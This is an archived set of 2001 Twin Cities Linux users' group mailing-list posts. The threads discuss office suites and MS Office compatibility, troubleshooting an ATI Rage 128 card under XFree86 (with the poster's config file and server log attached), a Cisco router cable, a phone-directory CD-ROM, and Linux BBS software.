34B3 E075 3B90 DFE4 From florin at iucha.net Thu Aug 30 12:48:14 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com>; from steveg@transition.com on Thu, Aug 30, 2001 at 11:49:01AM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> Message-ID: <20010830124814.B4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 11:49:01AM -0500, Steve Grobe wrote: > The BeOS version could read most Excel and Word files and all the files I > created were read by Word or Excel without issue. The new one looks like it > can save directly to .pdf format also. Now if you want someone > else to be able to read your work you can't get too much more universal than > .pdf unless you want to use plain text or maybe html. You cannot _easily_ update a .pdf. florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From blutgens at sistina.com Thu Aug 30 13:20:32 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: ; from troy.johnson@health.state.mn.us on Thu, Aug 30, 2001 at 11:44:01AM -0500 References: Message-ID: <20010830132032.A5241@minime.sistina.com> On Thu, Aug 30, 2001 at 11:44:01AM -0500, Troy.A Johnson wrote: >Hah! That's a joke, right? "MS Office" and "portable" in the same >sentence, what a hoot! Next you'll be telling me you believe MS >will solve all their "document portability issues" with their "next- >generation XML-based" formats. Heh! Like they won't find some >way to mess that up... It doesn't need to be portable it's the standard. > >I think I may understand, though. What business person worth >their salt would be caught dead without their virus laden *.doc, >*.xls, and *.mdb files? Not many, I'd guess. > >>>> blutgens@sistina.com 08/30/01 10:56AM >>> >and if the documents it creates are not "portable" to the de-facto standard >(which for the most part is MS Office) it's as useless as star office, abi, >koffice, and all the rest. > > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/f651b3ca/attachment.pgp From blutgens at sistina.com Thu Aug 30 13:24:16 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com>; from steveg@transition.com on Thu, Aug 30, 2001 at 11:49:01AM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> Message-ID: <20010830132416.B5241@minime.sistina.com> On Thu, Aug 30, 2001 at 11:49:01AM -0500, Steve Grobe wrote: >My guess is for 99.9% of what most people use MS Office for either Gobe or >(get ready here it comes) Star Office will work fine. Given my past >experience with products from Gobe I am betting that it will be much faster >than Star Office. That's not hard to imagine :-) > >Your warm and fuzzy feelings for Star Office are well known on this list, >and for the most part I agree. Star Office is slow and doesn't play as well >with MS Office as it could/should/would but this is something that you >couldn't have even tried yet so why the instant dislike? Not dislike, I'll just believe it when I see it. Note the "if" and "it'll " in my mail. The other problem with star office is that real "power users" of MS office products feel kind of hobbled by the lack of functionality of star office. All I know is, if you want to communicate with other people, the only logical choice is MS Office. It's the standard. That's not going to change anytime soon. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/8056236d/attachment.pgp From blutgens at sistina.com Thu Aug 30 13:24:55 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <20010830124814.B4906@beaver.iucha.org>; from florin@iucha.net on Thu, Aug 30, 2001 at 12:48:14PM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> <20010830124814.B4906@beaver.iucha.org> Message-ID: <20010830132455.C5241@minime.sistina.com> On Thu, Aug 30, 2001 at 12:48:14PM -0500, Florin Iucha wrote: >You cannot _easily_ update a .pdf. > Nope, but you can read and write postscript on nearly everything. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/5bf66ef4/attachment.pgp From steveg at transition.com Thu Aug 30 13:31:20 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFE1@postman.transition.com> That's why I used the word "read". I do see your point, but if most of the Word or Excel file compatibility is there.... -----Original Message----- From: Florin Iucha [mailto:florin@iucha.net] Sent: Thursday, August 30, 2001 12:48 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Another office suite for Linux On Thu, Aug 30, 2001 at 11:49:01AM -0500, Steve Grobe wrote: > The BeOS version could read most Excel and Word files and all the files I > created were read by Word or Excel without issue. The new one looks like it > can save directly to .pdf format also. Now if you want someone > else to be able to read your work you can't get too much more universal than > .pdf unless you want to use plain text or maybe html. You cannot _easily_ update a .pdf. florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From wilson at visi.com Thu Aug 30 13:40:48 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] XF86Config for ATI Xpert2000 (still not working) Message-ID: Hey everyone, I'm attaching my XF86Config-4 and a startx log to this email. I still haven't had any luck with XFree 4.0.3. Unless there's something really new with this board, it should be supported according to the docs at the xfree86.org. It uses the Rage 128 chipset. I've set it according to the docs. Any advice would be appreciated. (I'd hate to find that I'd bought a board that I thought was supported, but isn't. Nothing worse than the sound your money makes when it's being flushed down the toilet. :-( -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com -------------- next part -------------- # File generated by xf86config. # # Copyright (c) 1999 by The XFree86 Project, Inc. # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF # OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # # Except as contained in this notice, the name of the XFree86 Project shall # not be used in advertising or otherwise to promote the sale, use or other # dealings in this Software without prior written authorization from the # XFree86 Project. # # ********************************************************************** # Refer to the XF86Config(4/5) man page for details about the format of # this file. # ********************************************************************** # ********************************************************************** # Module section -- this section is used to specify # which dynamically loadable modules to load. # ********************************************************************** # Section "Module" # This loads the DBE extension module. Load "dbe" # Double buffer extension # This loads the miscellaneous extensions module, and disables # initialisation of the XFree86-DGA extension within that module. SubSection "extmod" Option "omit xfree86-dga" # don't initialise the DGA extension EndSubSection # This loads the Type1 and FreeType font modules Load "type1" Load "freetype" # This loads the GLX module # Load "glx" EndSection # ********************************************************************** # Files section. This allows default font and rgb paths to be set # ********************************************************************** Section "Files" # The location of the RGB database. Note, this is the name of the # file minus the extension (like ".txt" or ".db"). There is normally # no need to change the default. RgbPath "/usr/X11R6/lib/X11/rgb" # Multiple FontPath entries are allowed (which are concatenated together), # as well as specifying multiple comma-separated entries in one FontPath # command (or a combination of both methods) # # If you don't have a floating point coprocessor and emacs, Mosaic or other # programs take long to start up, try moving the Type1 and Speedo directory # to the end of this list (or comment them out). # # FontPath "/usr/X11R6/lib/X11/fonts/local/" FontPath "/usr/X11R6/lib/X11/fonts/misc/" FontPath "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled" FontPath "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled" # FontPath "/usr/X11R6/lib/X11/fonts/Type1/" # FontPath "/usr/X11R6/lib/X11/fonts/Speedo/" FontPath "/usr/X11R6/lib/X11/fonts/75dpi/" FontPath "/usr/X11R6/lib/X11/fonts/100dpi/" # The module search path. The default path is shown here. # ModulePath "/usr/X11R6/lib/modules" EndSection # ********************************************************************** # Server flags section. # ********************************************************************** Section "ServerFlags" # Uncomment this to cause a core dump at the spot where a signal is # received. This may leave the console in an unusable state, but may # provide a better stack trace in the core dump to aid in debugging # Option "NoTrapSignals" # Uncomment this to disable the server abort sequence # This allows clients to receive this key event. # Option "DontZap" # Uncomment this to disable the / mode switching # sequences. This allows clients to receive these key events. # Option "Dont Zoom" # Uncomment this to disable tuning with the xvidtune client. With # it the client can still run and fetch card and monitor attributes, # but it will not be allowed to change them. If it tries it will # receive a protocol error. # Option "DisableVidModeExtension" # Uncomment this to enable the use of a non-local xvidtune client. # Option "AllowNonLocalXvidtune" # Uncomment this to disable dynamically modifying the input device # (mouse and keyboard) settings. # Option "DisableModInDev" # Uncomment this to enable the use of a non-local client to # change the keyboard or mouse settings (currently only xset). # Option "AllowNonLocalModInDev" EndSection # ********************************************************************** # Input devices # ********************************************************************** # ********************************************************************** # Core keyboard's InputDevice section # ********************************************************************** Section "InputDevice" Identifier "Keyboard1" Driver "Keyboard" # For most OSs the protocol can be omitted (it defaults to "Standard"). # When using XQUEUE (only for SVR3 and SVR4, but not Solaris), # uncomment the following line. # Option "Protocol" "Xqueue" Option "AutoRepeat" "500 30" # Specify which keyboard LEDs can be user-controlled (eg, with xset(1)) # Option "Xleds" "1 2 3" # Option "LeftAlt" "Meta" # Option "RightAlt" "ModeShift" # To customise the XKB settings to suit your keyboard, modify the # lines below (which are the defaults). For example, for a non-U.S. # keyboard, you will probably want to use: # Option "XkbModel" "pc102" # If you have a US Microsoft Natural keyboard, you can use: # Option "XkbModel" "microsoft" # # Then to change the language, change the Layout setting. # For example, a german layout can be obtained with: # Option "XkbLayout" "de" # or: # Option "XkbLayout" "de" # Option "XkbVariant" "nodeadkeys" # # If you'd like to switch the positions of your capslock and # control keys, use: # Option "XkbOptions" "ctrl:swapcaps" # These are the default XKB settings for XFree86 # Option "XkbRules" "xfree86" # Option "XkbModel" "pc101" # Option "XkbLayout" "us" # Option "XkbVariant" "" # Option "XkbOptions" "" # Option "XkbDisable" Option "XkbRules" "xfree86" Option "XkbModel" "pc101" Option "XkbLayout" "us" Option "XkbOptions" "ctrl:swapcaps" EndSection # ********************************************************************** # Core Pointer's InputDevice section # ********************************************************************** Section "InputDevice" # Identifier and driver Identifier "Mouse1" Driver "mouse" Option "Protocol" "PS/2" Option "Device" "/dev/mouse" # When using XQUEUE, comment out the above two lines, and uncomment # the following line. # Option "Protocol" "Xqueue" # Baudrate and SampleRate are only for some Logitech mice. In # almost every case these lines should be omitted. # Option "BaudRate" "9600" # Option "SampleRate" "150" # Emulate3Buttons is an option for 2-button Microsoft mice # Emulate3Timeout is the timeout in milliseconds (default is 50ms) # Option "Emulate3Buttons" # Option "Emulate3Timeout" "50" # ChordMiddle is an option for some 3-button Logitech mice # Option "ChordMiddle" EndSection # ********************************************************************** # Other input device sections # this is optional and is required only if you # are using extended input devices. This is for example only. Refer # to the XF86Config man page for a description of the options. # ********************************************************************** # # Section "InputDevice" # Identifier "Mouse2" # Driver "mouse" # Option "Protocol" "MouseMan" # Option "Device" "/dev/mouse2" # EndSection # # Section "InputDevice" # Identifier "spaceball" # Driver "magellan" # Option "Device" "/dev/cua0" # EndSection # # Section "InputDevice" # Identifier "spaceball2" # Driver "spaceorb" # Option "Device" "/dev/cua0" # EndSection # # Section "InputDevice" # Identifier "touchscreen0" # Driver "microtouch" # Option "Device" "/dev/ttyS0" # Option "MinX" "1412" # Option "MaxX" "15184" # Option "MinY" "15372" # Option "MaxY" "1230" # Option "ScreenNumber" "0" # Option "ReportingMode" "Scaled" # Option "ButtonNumber" "1" # Option "SendCoreEvents" # EndSection # # Section "InputDevice" # Identifier "touchscreen1" # Driver "elo2300" # Option "Device" "/dev/ttyS0" # Option "MinX" "231" # Option "MaxX" "3868" # Option "MinY" "3858" # Option "MaxY" "272" # Option "ScreenNumber" "0" # Option "ReportingMode" "Scaled" # Option "ButtonThreshold" "17" # Option "ButtonNumber" "1" # Option "SendCoreEvents" # EndSection # ********************************************************************** # Monitor section # ********************************************************************** # Any number of monitor sections may be present Section "Monitor" Identifier "V75" # HorizSync is in kHz unless units are specified. # HorizSync may be a comma separated list of discrete values, or a # comma separated list of ranges of values. # NOTE: THE VALUES HERE ARE EXAMPLES ONLY. REFER TO YOUR MONITOR'S # USER MANUAL FOR THE CORRECT NUMBERS. HorizSync 30-96 # HorizSync 30-64 # multisync # HorizSync 31.5, 35.2 # multiple fixed sync frequencies # HorizSync 15-25, 30-50 # multiple ranges of sync frequencies # VertRefresh is in Hz unless units are specified. # VertRefresh may be a comma separated list of discrete values, or a # comma separated list of ranges of values. # NOTE: THE VALUES HERE ARE EXAMPLES ONLY. REFER TO YOUR MONITOR'S # USER MANUAL FOR THE CORRECT NUMBERS. VertRefresh 50-160 EndSection # ********************************************************************** # Graphics device section # ********************************************************************** # Any number of graphics device sections may be present # Standard VGA Device: Section "Device" Identifier "Standard VGA" VendorName "Unknown" BoardName "Unknown" # The chipset line is optional in most cases. It can be used to override # the driver's chipset detection, and should not normally be specified. # Chipset "generic" # The Driver line must be present. When using run-time loadable driver # modules, this line instructs the server to load the specified driver # module. Even when not using loadable driver modules, this line # indicates which driver should interpret the information in this section. Driver "vga" # The BusID line is used to specify which of possibly multiple devices # this section is intended for. When this line isn't present, a device # section can only match up with the primary video device. For PCI # devices a line like the following could be used. This line should not # normally be included unless there is more than one video device # intalled. # BusID "PCI:0:10:0" # VideoRam 256 # Clocks 25.2 28.3 EndSection # Device configured by xf86config: Section "Device" Identifier "Rage 128" Driver "r128" #VideoRam 32768 # Insert Clocks lines here if appropriate EndSection # ********************************************************************** # Screen sections # ********************************************************************** # Any number of screen sections may be present. Each describes # the configuration of a single screen. A single specific screen section # may be specified from the X server command line with the "-screen" # option. Section "Screen" Identifier "Screen 1" Device "Rage 128" Monitor "V75" DefaultDepth 24 Subsection "Display" Depth 8 Modes "640x480" "800x600" "1024x768" "1280x1024" ViewPort 0 0 EndSubsection Subsection "Display" Depth 16 Modes "640x480" "800x600" "1024x768" "1280x1024" ViewPort 0 0 EndSubsection Subsection "Display" Depth 24 Modes "640x480" "800x600" "1024x768" "1280x1024" ViewPort 0 0 EndSubsection EndSection # ********************************************************************** # ServerLayout sections. # ********************************************************************** # Any number of ServerLayout sections may be present. Each describes # the way multiple screens are organised. A specific ServerLayout # section may be specified from the X server command line with the # "-layout" option. In the absence of this, the first section is used. # When now ServerLayout section is present, the first Screen section # is used alone. Section "ServerLayout" # The Identifier line must be present Identifier "Simple Layout" # Each Screen line specifies a Screen section name, and optionally # the relative position of other screens. The four names after # primary screen name are the screens to the top, bottom, left and right # of the primary screen. In this example, screen 2 is located to the # right of screen 1. Screen "Screen 1" # Each InputDevice line specifies an InputDevice section name and # optionally some options to specify the way the device is to be # used. Those options include "CorePointer", "CoreKeyboard" and # "SendCoreEvents". InputDevice "Mouse1" "CorePointer" InputDevice "Keyboard1" "CoreKeyboard" EndSection -------------- next part -------------- XFree86 Version 4.0.3 / X Window System (protocol Version 11, revision 0, vendor release 6400) Release Date: 16 March 2001 If the server is older than 6-12 months, or if your card is newer than the above date, look for a newer version before reporting problems. (See http://www.XFree86.Org/FAQ) Operating System: Linux 2.2.19 i686 [ELF] Module Loader present (==) Log file: "/var/log/XFree86.0.log", Time: Thu Aug 30 13:26:31 2001 (==) Using config file: "/etc/X11/XF86Config-4" Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (??) unknown. (==) ServerLayout "Simple Layout" (**) |-->Screen "Screen 1" (0) (**) | |-->Monitor "V75" (**) | |-->Device "Rage 128" (**) |-->Input Device "Mouse1" (**) |-->Input Device "Keyboard1" (**) XKB: rules: "xfree86" (**) XKB: model: "pc101" (**) XKB: layout: "us" (**) XKB: options: "ctrl:swapcaps" (**) FontPath set to "/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/:unscaled,/usr/X11R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X11/fonts/100dpi/" (**) RgbPath set to "/usr/X11R6/lib/X11/rgb" (==) ModulePath set to "/usr/X11R6/lib/modules" (--) using VT number 7 (II) Loading /usr/X11R6/lib/modules/fonts/libbitmap.a (II) Module bitmap: vendor="The XFree86 Project" compiled for 4.0.3, module version = 1.0.0 (II) Loading /usr/X11R6/lib/modules/libpcidata.a (II) Module pcidata: vendor="The XFree86 Project" compiled for 4.0.3, module version = 0.1.0 (II) Loading /usr/X11R6/lib/modules/libscanpci.a (II) Module scanpci: vendor="The XFree86 Project" compiled for 4.0.3, module version = 0.1.0 (II) Unloading /usr/X11R6/lib/modules/libscanpci.a (--) PCI:*(1:0:0) ATI unknown chipset (0x534d) rev 0, Mem @ 0xe4000000/26, 0xe9000000/14, I/O @ 0xc000/8 (II) Loading /usr/X11R6/lib/modules/extensions/libdbe.a (II) Module dbe: vendor="The XFree86 Project" compiled for 4.0.3, module version = 1.0.0 (II) Loading /usr/X11R6/lib/modules/extensions/libextmod.a (II) Module extmod: vendor="The XFree86 Project" compiled for 4.0.3, module version = 1.0.0 (II) Loading /usr/X11R6/lib/modules/fonts/libtype1.a (II) Module type1: vendor="The XFree86 Project" compiled for 4.0.3, module version = 1.0.0 (II) Loading /usr/X11R6/lib/modules/fonts/libfreetype.a (II) Module freetype: vendor="The XFree86 Project" compiled for 4.0.3, module version = 1.1.9 (II) Loading /usr/X11R6/lib/modules/drivers/r128_drv.o (II) Module r128: vendor="The XFree86 Project" compiled for 4.0.3, module version = 4.0.1 (II) Loading /usr/X11R6/lib/modules/drivers/ati_drv.o (II) Module ati: vendor="The XFree86 Project" compiled for 4.0.3, module version = 6.2.3 (II) Loading /usr/X11R6/lib/modules/input/mouse_drv.o (II) Module mouse: vendor="The XFree86 Project" compiled for 4.0.3, module version = 1.0.0 (II) ATI: ATI driver (version 6.2.3) for chipsets: ati, ativga (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI), ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI), ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (AGP), ATI Rage 128 Pro PF (AGP), ATI Rage 128 Mobility LE (PCI), ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP), ATI Rage 128 Mobility ML (AGP) (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP), ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP) (--) Assigning device section with no busID to primary device (EE) No devices detected. Fatal server error: no screens found When reporting a problem related to a server crash, please send the full server output, not just the last messages. This can be found in the log file "/var/log/XFree86.0.log". Please report problems to submit@bugs.debian.org. X connection to :0.0 broken (explicit kill or server shutdown). From bbaptist at iexposure.com Thu Aug 30 12:58:52 2001 From: bbaptist at iexposure.com (Bret Baptist) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] XF86Config for ATI Xpert2000 (still not working) In-Reply-To: References: Message-ID: <200108301855.f7UItPV06777@destiny.iexposure.com> Is there a reason that you are still using 4.0.3? 4.1 is out and it has a lot better support for cards. I would try getting that and seeing what happens. I would also try taking the card out and then reseating it. I have seen instances where the card will work in text mode but will not go into any kind of a GUI. Just an idea. Bret. On Thursday 30 August 2001 02:40 pm, you wrote: > Hey everyone, > > I'm attaching my XF86Config-4 and a startx log to this email. I still > haven't had any luck with XFree 4.0.3. Unless there's something really new > with this board, it should be supported according to the docs at the > xfree86.org. It uses the Rage 128 chipset. I've set it according to the > docs. > > Any advice would be appreciated. (I'd hate to find that I'd bought a board > that I thought was supported, but isn't. Nothing worse than the sound your > money makes when it's being flushed down the toilet. :-( > > -Tim -- Bret Baptist Systems and Technical Support Specialist bbaptist@iexposure.com Internet Exposure, Inc. http://www.iexposure.com (612)676-1946 Web Development-Web Marketing-ISP Services From austad at marketwatch.com Thu Aug 30 13:58:15 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] 675 management cable Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDE36@mspexch2.office.mktw.net> Cisco also has the wiring scheme on their site for it. So if you have a 9pin serial to rj-45 plug and a crimper to make yourself a cable, you can make one in about 5 minutes. > -----Original Message----- > From: K Hinze [mailto:rudie@sihope.com] > Sent: Thursday, August 30, 2001 9:55 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] 675 management cable > > > On Thursday 30 August 2001 11:24 am, you wrote: > > If anyone has a 675 management cable they'd sell me, or even let me > > borrow for a day or two, i'd be eternally grateful. i lost > mine when i > > moved, i imagine you can figure out the rest. :) anyway, i'm in > > uptown, and would be willing to drive just about anywhere to buy / > > borrow one. i'll pay some $$, just need to get this fucker > fixed. so > > tired of unplugging the 675. > > > > thanks in advance for any help, > > > > nick > > I have an extra one from my old NetSpeed router. I am in > south Minneapolis on > Chicago Ave. > Lemme know if you wanna stop by and pick it up > no charge > -- > -Kevin Hinze > -- > --------------------------- > Keyboard Error - Press F1 to continue > --------------------------- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From troy.johnson at health.state.mn.us Thu Aug 30 14:01:28 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux Message-ID: Sadly, it is true. I can't deny it. Now is it a particular version (2, 4, 5, 6/95, 97/2000, XP, ...) that is the standard, or does it just have to be MS made? Grrr..., don't answer that. Just because it's true doesn't mean I have to like it or that I can't complain about it. >>> blutgens@sistina.com 08/30/01 01:20PM >>> It doesn't need to be portable it's the standard. From jspinti at dart.dartdist.com Thu Aug 30 14:14:48 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: Message-ID: Fortunately/unfortunately, whatever, the document standard has remained virtually the same for 97/2000/XP. Probably because they have no competition anymore and virtually everybody has to use it. I have despised Word since version 1 and am not about to change now. I would probably still be running WordStar if I could :( although I have liked WordPerfect since the beginning (I love getting messed up Word documents to fix, reveal codes is a marvel to Word users...) FWIW, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Troy.A Johnson |Sent: Thursday, August 30, 2001 2:01 PM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] Another office suite for Linux | | |Sadly, it is true. I can't deny it. | |Now is it a particular version (2, 4, 5, 6/95, |97/2000, XP, ...) that is the standard, or |does it just have to be MS made? | |Grrr..., don't answer that. Just because it's true |doesn't mean I have to like it or that I can't |complain about it. | |>>> blutgens@sistina.com 08/30/01 01:20PM >>> |It doesn't need to be portable it's the standard. | | | |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From dieman+tclug at ringworld.org Thu Aug 30 14:15:44 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> References: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> Message-ID: <20010830141544.Y26388@ringworld.org> > Your warm and fuzzy feelings for Star Office are well known on this list, > and for the most part I agree. Star Office is slow and doesn't play as well OpenOffice, screw star office. The last presentation I did was created in it, worked great. http://www.ringworld.org/~dieman/slides/dns-tclug/img0.htm The output was great, and it converted into the microsoft application fine when I put it on a windows CE device to present it. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jethro at freakzilla.com Thu Aug 30 14:17:27 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Qwestdex CDROM Message-ID: Hey, Anyone else get one of these? I haven't really looked at it much, yet, but it seems to have Doze and Mac apps... anyone know what format the db is and whether we can hack it under Linux? -Yaron -- From steveg at transition.com Thu Aug 30 14:44:22 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFE2@postman.transition.com> I was under the impression, that they were one in the same. When I downloaded OpenOffice the same install screen as Star Office pops up with a word or two changed. Sun is the sponsor of the OpenOffice website and there is even a Star Office logo on the OpenOffice site. OpenOffice 6 is out or due out soon and Star Office 6 is due soon. Are there functional differences between the two? (Or are you just yanking my chain?) OpenOffice, screw star office. The last presentation I did was created in it, worked great. http://www.ringworld.org/~dieman/slides/dns-tclug/img0.htm The output was great, and it converted into the microsoft application fine when I put it on a windows CE device to present it. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net _______________________________________________ From wilson at visi.com Thu Aug 30 14:48:44 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] XF86Config for ATI Xpert2000 (still not working) In-Reply-To: <200108301855.f7UItPV06777@destiny.iexposure.com> Message-ID: On Thu, 30 Aug 2001, Bret Baptist wrote: > Is there a reason that you are still using 4.0.3? 4.1 is out and it has a > lot better support for cards. I would try getting that and seeing what > happens. 4.0.3 is standard on Debian (testing). I upgraded to 4.1.0, but nothing changed. > I would also try taking the card out and then reseating it. I have seen > instances where the card will work in text mode but will not go into any kind > of a GUI. Just an idea. That didn't work either. I'll keep looking. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From timl at rootdown.net Thu Aug 30 14:58:39 2001 From: timl at rootdown.net (Tim Lupfer) Date: Mon Jan 17 13:26:58 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <21F2EFCC0249D211B7AE00C0F201008C8BBFE2@postman.transition.com>; from steveg@transition.com on Thu, Aug 30, 2001 at 02:44:22PM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFE2@postman.transition.com> Message-ID: <20010830145839.A684@rootdown.net> On Thu, Aug 30, 2001 at 02:44:22PM -0500, Steve Grobe wrote: [snip] + Are there functional differences between the two? (Or are you just yanking + my chain?) http://www.openoffice.org/FAQs/mostfaqs.html#7 -- Tim Lupfer timl@rootdown.net 0xA7ECF2AB @ pgpkeys.mit.edu www.rootdown.net/~timl Blow it out your ear. From simeonuj at eetc.com Thu Aug 30 15:16:59 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Qwestdex CDROM References: Message-ID: <3B8E9F01.7D7FB391@eetc.com> Yaron wrote: > > Hey, > > Anyone else get one of these? I haven't really looked at it much, yet, but > it seems to have Doze and Mac apps... anyone know what format the db is > and whether we can hack it under Linux? The one that comes w/ the router? IIRC all there was on it were utilities for the Cisco 67x router. No special utilities for that either (except the gui configuration utility). Wasn't anything special. sim From seg at haxxed.com Thu Aug 30 15:23:06 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Linux based BBS? References: <20010821165301.X30458@real-time.com> Message-ID: <3B8EA0AA.50300@haxxed.com> David Dyer-Bennet wrote: > Bob Tanner writes: > > >>Anyone have recommendations for a linux based BBS. >> >>I thought these things died with Atari 2400s, but I guess not. >> >>I have found several, but I am wondering has any experience using BBS software >>under linux. >> > > I ran a Fidonet system under Linux for a while; I just let users log > in and run a newsreader, and gated the fidonet echomail conferences > into my local news spool. > Citadel/UX. Been around for a while, has a long history. Is evolving into a flexable generalised adaptable messaging system to rival and exceed and generally beat the shit out of Outlook/Exchange. http://uncnsrd.citadel.org/citadel/ Check this action out: http://www.shadowcom.net/Software/infusion/ And in particular: http://www.shadowcom.net/Software/infusion/SneakPreview/ From jethro at freakzilla.com Thu Aug 30 15:23:03 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <3B8E9F01.7D7FB391@eetc.com> Message-ID: Hey, On Thu, 30 Aug 2001, Simeon Johnston wrote: > The one that comes w/ the router? No... this is Qwestdex, as in the yellow and white pages. There was a bundle of them at the appartment complex mailbox today, so I know Florin got one (; 